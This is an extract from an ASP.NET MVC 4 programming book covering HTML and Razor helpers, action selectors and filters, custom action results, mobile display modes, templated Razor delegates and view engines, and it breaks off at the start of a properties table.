HTML helpers are those methods that help you generate HTML inside your views. They are primarily written as extension methods to the `HtmlHelper`, `AjaxHelper`, or `UrlHelper` classes (depending on whether you're generating plain HTML, Ajax-enabled HTML, or URLs). HTML and Ajax helpers have access to the `ViewContext` (because they can only be called from views), and URL helpers have access to the `ControllerContext` (because they can be called from both controllers and views).

Extension methods are static methods in a static class that use the `this` keyword on their first parameter to tell the compiler which type they are providing the extension for. For example, if you wanted an extension method for `HtmlHelper` that took no parameters, you might write:

```
public static class MyExtensions {
    public static string MyExtensionMethod(this HtmlHelper html) {
        return "Hello, world!";
    }
}
```

You can still call this method the traditional way (by calling `MyExtensions.MyExtensionMethod(Html)`), but it's more convenient to call it via the extension syntax (by calling `Html.MyExtensionMethod()`). Any additional parameters you provide to the static method will become parameters in the extension method as well; only the extension parameter marked with the `this` keyword "disappears."

Extension methods in MVC 1.0 all tended to return values of the `String` type, and that value would be directly placed into the output stream with a call much like this one (Web Forms view syntax):

```
<%= Html.MyExtensionMethod() %>
```

Unfortunately, there was a problem with the old Web Forms syntax: it was too easy to let unintended HTML escape into the wild. The Web world of the late 1990s through the early 2000s, in which ASP.NET started its life, is quite different from today, where your web apps must be very careful of things like cross-site scripting (XSS) attacks and cross-site request forgeries (CSRF). To make the world slightly safer, ASP.NET 4 introduced a new syntax for Web Forms that automatically encodes HTML values:

```
<%: Html.MyExtensionMethod() %>
```

Notice how the colon has replaced the equals sign. This is great for data safety, but what happens when you actually need to return HTML, as many HTML helpers will? ASP.NET 4 also introduced a new interface (`IHtmlString`) that any type can implement. When you pass such a string through the `<%: %>` syntax, the system recognizes that the type is already promising to be safe HTML and outputs it without encoding. In ASP.NET MVC 2, the team made the decision to mildly break backward compatibility, and make all HTML helpers return instances of `MvcHtmlString`.

When you write HTML helpers that are generating HTML, it's almost always going to be the case that you want to return `IHtmlString` instead of `String`, because you don't want the system to encode your HTML. This is even more important in the face of the Razor view engine, which only has a single output statement, and it always encodes:

```
@Html.MyExtensionMethod()
```

Writing Razor Helpers

In addition to the HTML helper syntax that's been available since MVC 1.0, developers can also write Razor helpers in the Razor syntax. This is a feature that shipped as part of the Web Pages 1.0 framework, which is included in MVC applications. These helpers don't have access to the MVC helper objects (like `HtmlHelper`, `AjaxHelper`, or `UrlHelper`) or to the MVC context objects (like `ControllerContext` or `ViewContext`). They can get access to the core ASP.NET runtime intrinsic context objects through the traditional static ASP.NET API `HttpContext.Current`.

Developers might choose to write a Razor helper for simple reuse with a view, or if they wanted to reuse the same helper code from within both an MVC application and a Web Pages application (or if the application they are building is a combination of the two technologies). For the pure MVC developer, the traditional HTML Helper route offers more flexibility and customizability, albeit with a slightly more verbose syntax.

NOTE For more information on writing Razor helpers, see Jon Galloway's blog post "Comparing MVC 3 Helpers: Using Extension Methods and Declarative Razor @helper Syntax" (<http://weblogs.asp.net/jgalloway/7730805.aspx>). Although Jon's blog post is about MVC 3, the topics he covers are still applicable for developers writing Razor helpers in MVC 4.

EXTENDING CONTROLLERS

Controller actions are the glue that pulls together your application; they talk to models via data access layers, make rudimentary decisions about how to achieve activities on behalf of the user, and decide how to respond (with views, JSON, XML, and so on). Customizing how actions are selected and executed is an important part of the MVC extensibility story.

Selecting Actions

ASP.NET MVC enables influencing how actions are selected for execution through two mechanisms: choosing action names and selecting (filtering) action methods.

Choosing Action Names with Name Selectors

Renaming an action is handled by attributes that derive from `ActionNameSelectorAttribute`. The most common use of action name selection is through the `[ActionName]` attribute that ships with the MVC framework. This attribute allows the user to specify an alternative name and attach it directly to the action method itself. Developers who need a more dynamic name mapping can implement their own custom attribute derived from `ActionNameSelectorAttribute`.

Implementing `ActionNameSelectorAttribute` is a simple task: implement the `IsValidName` abstract method, and return `true` or `false` as to whether the requested name is valid. Because the action name selector is allowed to vote on whether or not a name is valid, the decision can be delayed until you know what name the request is asking for. For example, say you wanted to have a single action that handled any request for an action name that began with “product-” (perhaps you need to map some existing URL that you cannot control). By implementing a custom naming selector, you can do that quite easily:

```
public override bool IsValidName(ControllerContext controllerContext,
                                 string actionName,
                                 MethodInfo methodInfo) {
    return actionName.StartsWith("product-");
}
```

When you apply this new attribute to an action method, it responds to any action that begins with “product-”. The action stills need to do more parsing of the actual action name to extract the extra information. You can see an example of this in the code in `~/Areas/ActionNameSelector`. The sample includes parsing of the product ID out from the action name, and placing that value into the route data so that the developer can then model bind against the value.

Filtering Actions with Method Selectors

The other action selection extensibility point is filtering actions. A method selector is an attribute class that derives from `ActionMethodSelectorAttribute`. Much like action name selection, this involves a single abstract method that is responsible for inspecting the controller context and method, and saying whether the method is eligible for the request. There are several built-in implementations of this attribute in the MVC framework: `[AcceptVerbs]` (and its closely related attributes `[HttpGet]`, `[HttpPost]`, `[HttpPut]`, `[HttpDelete]`, `[HttpHead]`, `[HttpPatch]`, and `[HttpOptions]`) as well as `[NonAction]`.

If a method selector returns `false` when MVC calls its `IsValidForRequest` method, the method is not considered valid for the given request and the system keeps looking for a match. If the method has no selectors, it's considered a potentially valid target for dispatching; once the method has one or more selectors, they must all agree (by returning `true`) that the method is a valid target.

If no matching method is found, the system returns an HTTP 404 error code in response to the request. Similarly, if more than one method matches a request, the system returns an HTTP 500 error code (and tells you about the ambiguity on the error page).

If you're wondering why `[Authorize]` isn't in the preceding list, it's because the correct action for `[Authorize]` is to either allow the request or to return an HTTP 401 ("Unauthorized") error code, so that the browser knows that you need to authenticate. Another way to think of it is that for `[AcceptVerbs]` or `[NonAction]`, there is nothing the end user can do to make the request valid; it's always going to be invalid (because it is using the wrong HTTP verb, or trying to call a non-action method), whereas `[Authorize]` implies that the end user could do something to eventually make the request succeed. That's the key difference between an action filter like `[Authorize]` and a method selector like `[AcceptVerbs]`.

An example of a place where you might use a custom method selector is to differentiate Ajax requests from non-Ajax requests. You could implement a new `[AjaxOnly]` action method selector with the `IsValidForRequest` method, as follows:

```
public override bool IsValidForRequest(ControllerContext controllerContext,
                                      MethodInfo methodInfo) {
    return controllerContext.HttpContext.Request.IsAjaxRequest();
}
```

Using our Ajax example, combined with the rule regarding the presence or absence of method selectors, we can conclude that an undecorated action method is a valid target for both Ajax and non-Ajax requests. Once you've decorated the method with this new `AjaxOnly` attribute, it gets filtered out of the list of valid targets whenever the request is a non-Ajax request.

With an attribute like this available, you can then create separate action methods that have the same name, but are dispatched based on whether the user appears to be making a direct request in a browser versus a programmatic Ajax request. You may choose to do different work based on whether the user is making a full request or an Ajax request. You can find a full example of this in `~/Areas/ActionMethodSelector`. It contains the implementation of the `[AjaxOnly]` attribute, as well as the controller and view that show the system choosing between two `Index` methods, depending on whether the user is making a full request or an Ajax request.

Action Filters

Once an action method has been selected, the action is then executed, and if it returns a result, the result is then executed. Action filters allow the developer to participate in the action and result execution pipeline in four ways: for authorization, for pre- and post-processing of actions, for pre- and post-processing of results, and for error handling.

Action filters can be written as attributes that are applied directly to the action methods (or controller classes), or as standalone classes that are registered in the global filter list. If you intend to use your action filter as an attribute, it must derive from `FilterAttribute` (or any subclass, such as

`ActionFilterAttribute`). A global action filter that is not an attribute has no base class requirements. Regardless of which route you take, the filtering activities you support are determined by the interfaces you implement.

Authorization Filters

An action filter that wants to participate in authorization implements the `IAuthorizationFilter` interface. Authorization filters execute very early in the action pipeline, so they're appropriately used for activities that short circuit the entire action execution. Several classes in the MVC framework implement this interface, including `[Authorize]`, `[ChildActionOnly]`, `[RequireHttps]`, `[ValidateAntiForgeryToken]`, and `[ValidateInput]`.

A developer might choose to implement an authorization filter to provide this kind of early escape from the action pipeline when some pre-condition isn't properly met and where the resulting behavior is something other than returning an HTTP 404 error code.

Action and Result Filters

An action filter that wants to participate in pre- and post-processing of actions should implement the `IACTIONFilter` interface. This interface offers two methods to implement: `OnActionExecuting` (for pre-processing) and `OnActionExecuted` (for post-processing). Similarly, for pre- and post-processing of results, an action filter should implement `IResultFilter`, with its two filter methods: `OnResultExecuting` and `OnResultExecuted`. There are two action/result filters in the MVC framework itself: `[AsyncTimeout]` and `[OutputCache]`. A single action filter often implements both of these interfaces as a pair, so it makes sense to talk about them together.

The output cache filter is an excellent example of this pairing of action and result filter. It overrides `OnActionExecuting` to determine whether it already has a cached answer (and can thereby completely bypass the action and result execution, and instead return a result directly from its cache). It also overrides `OnResultExecuted` so that it can save away the results of executing an as-yet un-cached action and result.

For an example of this, look at the code in the sample at `~/Areas/TimingFilter`. This is an action and result filter that records the amount of time that the action and result takes to execute. The four overridden methods look like this:

```
public void OnActionExecuting(ActionExecutingContext filterContext)
{
    GetStopwatch("action").Start();
}

public void OnActionExecuted(ActionExecutedContext filterContext)
{
    GetStopwatch("action").Stop();
}

public void OnResultExecuting(ResultExecutingContext filterContext)
{
    GetStopwatch("result").Start();
}
```

```

public void OnResultExecuted(ResultExecutedContext filterContext)
{
    var resultStopwatch = GetStopwatch("result");
    resultStopwatch.Stop();

    var actionStopwatch = GetStopwatch("action");
    var response = filterContext.HttpContext.Response;

    if (!filterContext.IsChildAction && response.ContentType == "text/html")
        response.Write(
            String.Format(
                "<h5>Action '{0} :: {1}', Execute: {2}ms, Result: {3}ms.</h5>",
                filterContext.RouteData.Values["controller"],
                filterContext.RouteData.Values["action"],
                actionStopwatch.ElapsedMilliseconds,
                resultStopwatch.ElapsedMilliseconds
            )
        );
}

```

The example keeps two instances of the .NET `Stopwatch` class, one for action execution and one for result execution, and when it's done, it appends some HTML to the output stream so that you can see exactly how much time was spent running the code.

Exception Filters

The final kind of action filter available is the exception filter, used to process exceptions that might be thrown during action or result execution. An action filter that wants to participate in the handling of exceptions should implement the `IExceptionFilter` interface. In the MVC framework, there is a single exception filter: `[HandleError]`.

Developers often use exception filters to perform some sort of logging of the errors, notification of the system administrators, and choosing how to handle the error from the end user's perspective (usually by sending the user to an error page). The `HandleErrorAttribute` class does this last operation, so it's quite common to create an exception filter attribute by deriving from `HandleErrorAttribute`, and then overriding the `OnException` method to provide additional handling before calling `base.OnException`.

Providing Custom Results

The final line of code in most action methods returns an action result object. For example, the `View` method on the `Controller` class returns an instance of `ViewResult`, which contains the code necessary to look up a view, execute it, and write its results out to the response stream. When you write `return View();` in your action, you're asking the MVC framework to execute a view result on your behalf.

As a developer, you're not limited to the action results provided by the MVC framework. You can make your own action result by deriving it from the `ActionResult` class and implementing `ExecuteResult`.

WHY HAVE ACTION RESULTS?

You may be asking yourself why MVC bothers to have action results. Couldn't the Controller class just have been built with the knowledge of how to render views, and have its View method just do the right thing?

The previous two chapters covered somewhat related topics: dependency injection and unit testing. Both of those chapters talked about the importance of good software design. In this case, action results are serving two very important purposes:

- The Controller class is a convenience, but is not a core part of the MVC framework. From the MVC run time's perspective, the important type is IController; to be (or consume) a controller in MVC, that's the only thing you need to understand. So clearly, putting view-rendering logic inside the Controller class would have made it much more difficult to re-use this logic elsewhere. Besides, should a controller really be forced to know how to render a view, when that is not its job? The principle at play here is the Single Responsibility Principle. The controller should be focused only on actions necessary for being a controller.
- We wanted to enable good unit testing throughout the framework. By using action result classes, we enable developers to write simple unit tests that directly call action methods, and inspect the action result return values that result. It is much simpler to unit test an action result's parameters than it is to pick through the HTML that might be generated by rendering a view.

In the example in ~/Areas/CustomActionResult, you have an XML action result class that serializes an object into an XML representation and sends it down to the client as a response. In the full sample code, you have a custom Person class that is serialized from within the controller:

```
public ActionResult Index() {
    var model = new Person {
        FirstName = "Brad",
        LastName = "Wilson",
        Blog = "http://bradwilson.typepad.com"
    };

    return new XmlResult(model);
}
```

The implementation of the XmlResult class relies upon the built-in XML serialization capabilities of the .NET Framework:

```
public class XmlResult : ActionResult {
    private object data;

    public XmlResult(object data) {
        this.data = data;
    }
}
```

```
public override void ExecuteResult(ControllerContext context) {
    var serializer = new XmlSerializer(data.GetType());
    var response = context.HttpContext.Response.OutputStream;

    context.HttpContext.Response.ContentType = "text/xml";
    serializer.Serialize(response, data);
}
```

SUMMARY

This chapter covered several advanced extensibility points in the ASP.NET MVC framework. The extensibility points were grouped roughly into three categories, depending on whether they were intending to extend models, views, or controllers (and actions). For models, you learned about the inner workings of value providers and model binders, and saw examples of how to extend the way MVC handles editing of models through the use of model metadata and model validators. To extend views, you saw how to customize view engines to provide your own conventions about locating view files, as well as two variations of helper methods for generating HTML inside your views. Finally, you learned about controller extensibility through the use of action selectors, action filters, and custom action result types, all providing powerful and flexible ways for uniquely crafting the actions that glue together your models and views. Using these extensibility points can help you bring your MVC application to the next level of functionality and reuse, while also making it easier to understand, debug, and enhance.

Advanced Topics

WHAT'S IN THIS CHAPTER?

- Mobile support
- Advanced Razor
- Advanced scaffolding
- Advanced routing
- Advanced templating
- Advanced controllers

We've glossed over a lot of really cool advanced topics to avoid getting lost in the weeds as we covered the fundamentals of ASP.NET MVC. Now it's time to get our hands dirty in those weeds.

MOBILE SUPPORT

Using mobile devices for viewing websites is becoming increasingly common. Some estimates show mobile devices account for 20 percent of web traffic, and it's on the rise. It's important to think about your site's appearance and usability on mobile devices.

There are a variety of approaches for enhancing the mobile experience of your web application. In some cases, you just want to make some minor style changes on smaller form factors.

In others you may want to completely change the visual appearance or content of some views. And in the most extreme case (before moving from mobile web application to native mobile application), you may want to create a web application that is specifically targeted at mobile users. MVC 4 provides a range of options to target each of these scenarios:

- **Adaptive rendering:** The default Internet and Intranet application templates use CSS media queries to gracefully scale down to smaller mobile form factors.
- **Display Modes:** MVC 4 uses a convention-based approach to allow selecting different views based on the browser making the request. Unlike adaptive rendering, this allows you to change the markup that's sent to mobile browsers.
- **Mobile project template:** This new project template helps you to create web applications that are intended for mobile-only use.

MOBILE EMULATORS

The screenshots in this section use Windows Phone Emulator, available from <http://msdn.microsoft.com/en-us/library/ff402563.aspx>.

I encourage you to try some other mobile emulators, such as the Opera Mobile Emulator (<http://www.opera.com/developer/tools/mobile/>) or the Electric Plum Simulator for iPhone and iPad browsers (<http://www.electricplum.com>).

Adaptive Rendering

The first step in improving your site's mobile experience is taking a look at your site in a mobile browser. Figure 15-1 shows how the MVC 3 default template home page looks (or in this case, the Windows Phone Emulator).

There are a number of problems with this experience:

- A lot of the text isn't even readable at the default zoom level.
- The navigation links in the header are unusable.
- Zooming in doesn't really help since the content doesn't reflow, so you're stuck looking at a tiny portion of the page.

And that's just a quick list based on a very simple page.

Fortunately, the MVC 4 default template fares a lot better in a mobile browser, without additional work on your part, as shown in Figure 15-2.

What's immediately obvious is that this page is intelligently scaled to the screen size of the mobile device. Rather than just scaling the page down (shrinking text and all), the page is redrawn so that it's usable in the device's dimensions.

FIGURE 15-1

FIGURE 15-2

What might not be immediately obvious is that the page layout actually changes subtly at this smaller size to optimize for the new dimensions. Some examples from the header area:

- The logo is aligned left in the desktop view but centered in the mobile view.
- The registration/login links are aligned to the top right in the desktop view, and are both centered and dropped below the logo in the mobile view.
- The Home/About/Contact links are aligned in the mobile view.

Scrolling down further, you can see the other simplifications to the mobile view to tighten it up and maximize the screen real estate. While the changes are subtle, they make a difference. For example, the round bullet icons in the “We suggest the following” list are removed and the footer text is centered. Clicking the Register link in the header shows that the form fields are appropriately sized for a mobile device, as shown in Figure 15-3.

These templates are using what’s known as *adaptive rendering* to automatically scale the page depending on page width.

FIGURE 15-3

Note that I didn't say that the application is scaling the page by guessing if the user's on a mobile device based on headers or other clues. Instead, this page is making use of two commonly supported browser features, the Viewport meta tag and CSS media queries.

The Viewport Meta Tag

The majority of web pages have been created without any thought to how they'll appear in smaller form factors, and mobile browsers have long struggled with guessing how best to display them. Designs that are primarily focused on semantically structured textual content can be reformatted to make the text readable, but sites with rigid (brittle?) visually oriented designs don't reformat well at all and need to be handled with zooming and panning.

Since the majority of websites weren't designed to scale well, when mobile browsers have to guess how to render your page they'll generally fail safe and go with the zoom and pan style rendering. The solution to this problem is to tell the browser what your design dimensions are so that it doesn't have to guess.

Often, Viewport tags are used only in pages that are specifically designed for small form factors, based on browser sniffing or user selection. In this case, you'd see a Viewport tag that looks something like this:

```
<meta name="viewport" content="width=320">
```

This works for mobile-specific views but doesn't adapt to larger sizes well.

A better solution is to design your CSS to scale well at all sizes (more on that in a second), and then tell the browser that the Viewport is whatever the device supports. Fortunately, that's pretty easy:

```
<meta name="viewport" content="width=device-width">
```

Adaptive Styles Using CSS Media Queries

Okay, we've told browsers that our page will look brilliant when scaled to the current device's screen dimensions. That's a bold claim! How will we follow through on that promise? The answer is CSS Media Queries.

CSS Media Queries allow you to target CSS rules at particular media (display) features. From the W3C Media Queries documentation:

HTML4 and CSS2 currently support media-dependent style sheets tailored for different media types. For example, a document may use sans-serif fonts when displayed on a screen and serif fonts when printed. ‘screen’ and ‘print’ are two media types that have been defined. Media queries extend the functionality of media types by allowing more precise labeling of style sheets.

A media query consists of a media type and zero or more expressions that check for the conditions of particular media features. Among the media features that can be used in media queries are ‘width,’ ‘height,’ and ‘color.’ By using media

queries, presentations can be tailored to a specific range of output devices without changing the content itself.

—HTTP://WWW.W3.ORG/TR/CSS3-MEDIAQUERIES/

To summarize, whereas with CSS2 you could use target media types like screen and print, with media queries you can target a screen display with a certain minimum or maximum width.

Remembering that CSS rules are evaluated from top to bottom, this means that you can apply general rules at the top of your CSS file and override them with rules specific to smaller displays later in your CSS, surrounded by a media query so that they won't be applied by browsers in larger form factor displays.

In the following very simple example, the background will be blue on displays wider than 850px and red on displays narrower than 850px:

```
body {background-color:blue;}  
 @media only screen and (max-width: 850px) {  
     body {background-color:red;}  
 }
```

That's exactly how the CSS in the default ASP.NET MVC 4 template works: general rules followed by mobile form-factor rules guarded by an 850px max-width media query. To see this code, look at the Mobile Styles section /Content/Site.css.

MEDIA QUERIES: WHY STOP AT ONE?

You can use multiple media queries in your site's CSS to ensure your site looks good at all screen sizes, from narrow phone browsers to huge widescreen monitors and everything in between. The <http://mediaqueri.es/> site offers a gallery of sites that show this approach to beautiful effect.

If you've been paying attention, you'll have guessed that you can test this out just by resizing a desktop browser narrower than 850px (see Figure 15-4), and that guess would be correct.

You can easily test this out without writing any code: Create a new MVC 4 project using the Internet application template, run it, and resize the browser.

Even if you're not building on top of the default layout and styles in an MVC 4 application, you can make use of them as an example of how to add some basic adaptive layout support to your existing web applications.

With adaptive rendering, you're sending the same markup to every browser and using CSS to reformat or toggle visibility of certain elements. In some cases, that's not enough: You need to vary the markup sent to all mobile browsers. That's where Display Modes come in handy.

FIGURE 15-4

Display Modes

The view selection logic in MVC 4 has been altered to add convention-based support for alternate views. The default view engine first looks for views with names ending in .Mobile.cshtml when the browser's user agent indicates a known mobile device. For example, when a desktop browser requests the home page, the application will use the Views\Home\Index.cshtml template. However, if a mobile browser requests the home page, and a Views\Home\Index.Mobile.cshtml template is found, it will be used instead of the desktop view. This is all handled via convention; there's nothing to register or configure.

To try this out, create a new MVC 4 application using the Internet application template. Make a copy of the \Views\Home\Index.cshtml template by selecting it in the Solution Explorer and pressing Ctrl+C and then Ctrl+V. Rename this view Index.Mobile.cshtml. The \Views\Home directory should appear, as shown in Figure 15-5.

FIGURE 15-5

FIGURE 15-6

Edit the `Index.Mobile.cshtml` view, perhaps changing the page title:

```
<hgroup class="title">
    <h1>HELLO VALUED MOBILE USER!</h1>
    <h2>@ViewBag.Message</h2>
</hgroup>
```

Run the application and view it in a mobile emulator to see the new view, as shown in Figure 15-6.

Layout and Partial View Support

You can also create mobile versions of both layouts and partial view templates.

If your `Views\Shared` folder contains both the `_Layout.cshtml` and `_Layout.mobile.cshtml` templates, by default the application will use `_Layout.mobile.cshtml` during requests from mobile browsers and `_Layout.cshtml` during other requests.

If a `Views\Account` folder contains both `_SetPasswordPartial.cshtml` and `_SetPasswordPartial.mobile.cshtml`, the instruction `@Html.Partial("~/Views/Account/_SetPasswordPartial")` will render `_SetPasswordPartial.mobile.cshtml` during requests from mobile browsers, and `_SetPasswordPartial.cshtml` during other requests.

Custom Display Modes

Additionally, you can register your own custom device modes that will be based on your own custom criteria. For example, to register a `WinPhone` device mode that would serve views ending with

.WinPhone.cshtml to Windows Phone devices, you'd use the following code in the Application_Start method of your Global.asax:

```
DisplayModeProvider.Instance.Modes.Insert(0, new DefaultDisplayMode("WinPhone")
{
    ContextCondition = (context => context.GetOverriddenUserAgent().IndexOf
        ("Windows Phone OS", StringComparison.OrdinalIgnoreCase) >= 0)
});
```

That's it — there's nothing to register or configure. Just create views that end with .WinPhone.cshtml, and they will be selected whenever the context condition is met.

The context condition isn't limited to checking the browser's user agent; there's no requirement that it does anything with the request context at all. You could set up different display modes based on user cookies, a database query that determines the user's account type, or the day of the week. It's completely up to you.

Display Modes make it easy to override views for mobile browsers, but what if you're creating an application that's only intended for use on mobile browsers? In that case, it may be time to create a new application using the Mobile Site template.

Mobile Site Template

The Mobile Site template preconfigures your site to use the jQuery Mobile library. jQuery Mobile offers a number of enhancements for mobile web applications:

- The user interface uses UI widgets that are touch optimized, ensuring that users won't become frustrated by tiny buttons and form fields.
- It's designed for (and tested against) all major mobile browsers.
- Ajax navigation offers animated page transitions and better performance over low bandwidth.
- Theme support allows you to re-skin the entire site through CSS themes.
- List views offer a great experience for viewing and manipulating lists of information in a mobile-friendly interface.

You can get a quick introduction by creating a new project using the Mobile Project template, running it, and viewing it in a mobile emulator (see Figure 15-7).

The Mobile Project template gets you started with a jQuery Mobile-powered ASP.NET MVC application. To get much further, you'll need to learn your way

FIGURE 15-7

around jQuery Mobile. That's outside the scope of this book, but the following resources will get you well on your way:

- The jQuery Mobile site (<http://jquerymobile.com/>) offers a ton of information, including documentation, live demonstrations, theme builder support, and more.
- The *ASP.NET MVC 4 Mobile Features* tutorial on the ASP.NET website (<http://www.asp.net/mvc/tutorials/mvc-4/aspnet-mvc-4-mobile-features>) walks you through a detailed tutorial in which you build out a mobile conference website. The tutorial offers the source for the completed application, so you can just download and run it if you'd like.
- K. Scott Allen's ASP.NET MVC and jQuery Mobile presentation from NDC 2012 (<http://vimeo.com/43624503>) explores adding jQuery Mobile support to the MVC Music Store sample. He shows some advanced features like page events and touch gesture support.

MVC 4 gives you a lot of tools to provide better experiences to users on mobile browsers. The best advice I can give you is to make a habit of testing your sites in a mobile browser. When we ran through this on the ASP.NET website (<http://asp.net>), we found that it was really difficult to navigate the site and read the content. We were able to dramatically improve the site experience through adaptive rendering, and have since seen significantly higher mobile usage.

ADVANCED RAZOR

Chapter 3 highlighted the main Razor features you'll be likely to use in day-to-day work. Razor supports some additional features which, while a little more complex, are really powerful. We think they're worth the effort.

Templated Razor Delegates

In our Razor Layout discussion, we looked at one approach to providing default content for optional layout sections that required a bit of boilerplate code. We mentioned that we could create a better approach using a feature of Razor called *templated Razor delegates*.

Razor has the ability to convert an inline Razor template into a delegate. The following code sample shows an example of this:

```
@{
    Func<dynamic, object> strongTemplate = @<strong>@item</strong>;
}
```

The delegate that's generated when using a Razor template is of type `Func<T, HelperResult>`. In the preceding example the type `T` is `dynamic`. The `@item` parameter within the template is a special magic parameter. These delegates are allowed only one such parameter, but the template can reference that parameter as many times as it needs to.

With this in place, we can now use this delegate anywhere within our Razor view:

```
<div>
    @strongTemplate("This is bolded.")
</div>
```

The result of this is that we can write a method that accepts a Razor template as an argument value simply by making that argument be a `Func<T, HelperResult>`.

Going back to the `RenderSection` example presented in the Layouts example in Chapter 3, let's do just that:

```
public static class RazorLayoutHelpers {
    public static HelperResult RenderSection(
        this WebPageBase webPage,
        string name,
        Func<dynamic, HelperResult> defaultContents) {
        if (webPage.IsSectionDefined(name)) {
            return webPage.RenderSection(name);
        }
        return defaultContents(null);
    }
}
```

The method we wrote takes in a section name as well as a `Func<dynamic, HelperResult>`. Therefore, it can be called within a Razor view, as follows:

```
<footer>
    @this.RenderSection("Footer", @<span>This is the default.</span>)
</footer>
```

Notice that we passed in the default content as an argument to this method using a snippet of Razor. Also note that the code uses the `this` argument to call the `RenderSection` extension method.

When using an extension method of a type from within that type (or a derived type of that type), the `this` parameter is required to call that extension method. When writing a view, it's not readily apparent that we're writing code within a class, but we are. The next section explains this and provides an example that allows us to clean up our usage of `RenderSection` even more.

View Compilation

Unlike many templating engines or interpreted view engines, Razor views are dynamically compiled at run time into classes and then executed. The compilation happens the first time the view is requested, which incurs a slight one-time performance cost. The benefit is that the next time the view is used, it's running fully compiled code. If the content of the view changes, ASP.NET will automatically recompile the view.

The class that a view is compiled into derives from `WebViewPage`, which itself derives from `WebPageBase`, which you saw in the section “Templated Razor Delegates.” For long-time ASP.NET users, this shouldn't come as a surprise because this is similar to how ASP.NET Web Forms pages work with its `Page` base class as well.

It is possible to change the base type for Razor views to a custom class, which makes it possible for you to add your own methods and properties to views. The base type for Razor views is defined

within the `Web.config` file in the Views directory. The following section of `Web.config` contains the Razor configuration:

```
<system.web.webPages.razor>
    <host factoryType="System.Web.Mvc.MvcWebRazorHostFactory,
        System.Web.Mvc, Version=3.0.0.0,
        Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
    <pages pageBaseType="System.Web.Mvc.WebViewPage">
        <namespaces>
            <add namespace="System.Web.Mvc" />
            <add namespace="System.Web.Mvc.Ajax" />
            <add namespace="System.Web.Mvc.Html" />
            <add namespace="System.Web.Routing" />
        </namespaces>
    </pages>
</system.web.webPages.razor>
```

The thing to notice is the `<pages>` element that has the `pageBaseType` attribute. The value of that attribute specifies the base page type for all Razor views in your application. You can change that value by replacing it with your custom base class. To do so, simply write a class that derives from `WebViewPage`.

Let's do just that — add a `RenderSection` method overload to our `CustomWebViewPage` class:

```
using System;
using System.Web.Mvc;
using System.Web.WebPages;

public abstract class CustomWebViewPage<T> : WebViewPage<T> {
    public HelperResult RenderSection(string name, Func<dynamic, HelperResult>
        defaultContents) {
        if (IsSectionDefined(name)) {
            return RenderSection(name);
        }
        return defaultContents(null);
    }
}
```

Note that the class is a generic class. This is important in order to support strongly typed views. It turns out that all views are generically typed. When no type is specified, that type is `dynamic`.

After writing this class, we need to change the base page type in `Web.config`:

```
<pages pageBaseType="CustomWebViewPage">
```

After making this change, all the Razor views in the application will derive from `CustomWebViewPage<T>` and will have the new `RenderSection` overload, allowing you to define an optional layout section with default content without requiring the `this` keyword:

```
<footer>
    @RenderSection("Footer", @<span>This is the default.</span>)
</footer>
```

NOTE To see this code as well as *Layouts in action*, use NuGet to install the `Wrox.ProMvc4.Views.BasePageType` package into a default ASP.NET MVC 4 project, as follows:

```
Install-Package Wrox.ProMvc4.Views.BasePageType
```

After installing this package, you'll need to change the base page type within the `Web.config` file in the `Views` directory to `CustomWebViewPage`.

The example folder in the `Views` directory contains an example of a layout using the method we just implemented. Hit `Ctrl+F5` and visit the following two URLs to see the code in action:

- `/example/layoutsample`
- `/example/layoutsamplemissingfooter`

ADVANCED VIEW ENGINES

Scott Hanselman, community program manager at Microsoft, likes to call the view engine “just an angle bracket generator.” In the simplest terms, that’s exactly what it is. A view engine will take an in-memory representation of a view and turn it into whatever other format you like. Usually, this means that you will create a `.cshtml` file containing markup and script, and ASP.NET MVC’s default view engine implementation, the `RazorViewEngine`, will use some existing ASP.NET APIs to render your page as HTML.

View engines aren’t limited to using `.cshtml` pages, nor are they limited to rendering HTML. You’ll see later how you can create alternate view engines that render output that isn’t HTML, as well as unusual view engines that require a custom DSL (domain-specific language) as input.

To better understand what a view engine is, let’s review the ASP.NET MVC life cycle (very simplified in Figure 15-8).

FIGURE 15-8

A lot more subsystems are involved than Figure 15-8 shows; this figure just highlights where the view engine comes into play — which is right after the `Controller` action is executed and returns a `ViewResult` in response to a request.

It is very important to note here that the controller itself does not render the view; it simply prepares the data (that is, the model) and decides which view to display by returning a `ViewResult` instance. As you saw earlier in this chapter, the `Controller` base class contains a simple convenience method, named `View`, used to return a `ViewResult`. Under the hood, the `ViewResult` calls into the current view engine to render the view.

Configuring a View Engine

As just mentioned, it's possible to have alternative view engines registered for an application. View engines are configured in `Global.asax.cs`. By default, there is no need to register other view engines if you stick with just using `RazorViewEngine` (and the `WebFormViewEngine` is also registered by default).

However, if you want to replace these view engines with another, you could use the following code in your `Application_Start` method:

```
protected void Application_Start() {
    ViewEngines.Engines.Clear();
    ViewEngines.Engines.Add(new MyViewEngine());
    //Other startup registration here
}
```

`Engines` is a static `ViewEngineCollection` used to contain all registered view engines. This is the entry point for registering view engines. You need to call the `Clear` method first because `RazorViewEngine` and `WebFormViewEngine` are included in that collection by default. Calling the `Clear` method is not necessary if you want to add your custom view engine as another option in addition to the default one, rather than replace the default view engines.

In most cases, though, it's probably unnecessary to register a view engine manually if it's available on NuGet. For example, to use the Spark view engine, after creating a default ASP.NET MVC 4 project, simply run the NuGet command `Install-Package Spark.Web.Mvc`. This adds and configures the Spark view engine in your project. You can quickly see it at work by renaming `Index.cshtml` to `Index.spark`. Change the markup to the following to display the message defined in the controller:

```
<!DOCTYPE html>
<html>
<head>
    <title>Spark Demo</title>
</head>
<body>
    <h1 if="!String.IsNullOrEmpty(ViewBag.Message)">${ViewBag.Message}</h1>
    <p>
        This is a spark view.
    </p>
</body>
</html>
```

The preceding snippet shows a very simple example of a Spark view. Notice the special `if` attribute, which contains a Boolean expression that determines whether the element it's applied to is displayed. This declarative approach to controlling markup output is a hallmark of Spark.

Finding a View

The `IViewEngine` interface is the key interface to implement when building a custom view engine:

```
public interface IViewEngine {
    ViewEngineResult FindPartialView(ControllerContext controllerContext,
        string partialViewName, bool useCache);
```

```

        ViewEngineResult FindView(ControllerContext controllerContext, string viewName,
            string masterName, bool useCache);
        void ReleaseView(ControllerContext controllerContext, IView view);
    }
}

```

With the `viewEngineCollection`, the implementation of `FindView` iterates through the registered view engines and calls `FindView` on each one, passing in the specified view name. This is the means by which the `viewEngineCollection` can *ask* each view engine if it can render a particular view.

The `FindView` method returns an instance of `ViewEngineResult`, which encapsulates the *answer* to the question, “Can this view engine render the view?” (See Table 15-1.)

TABLE 15-1: `ViewEngineResult` Properties

PROPERTY	DESCRIPTION
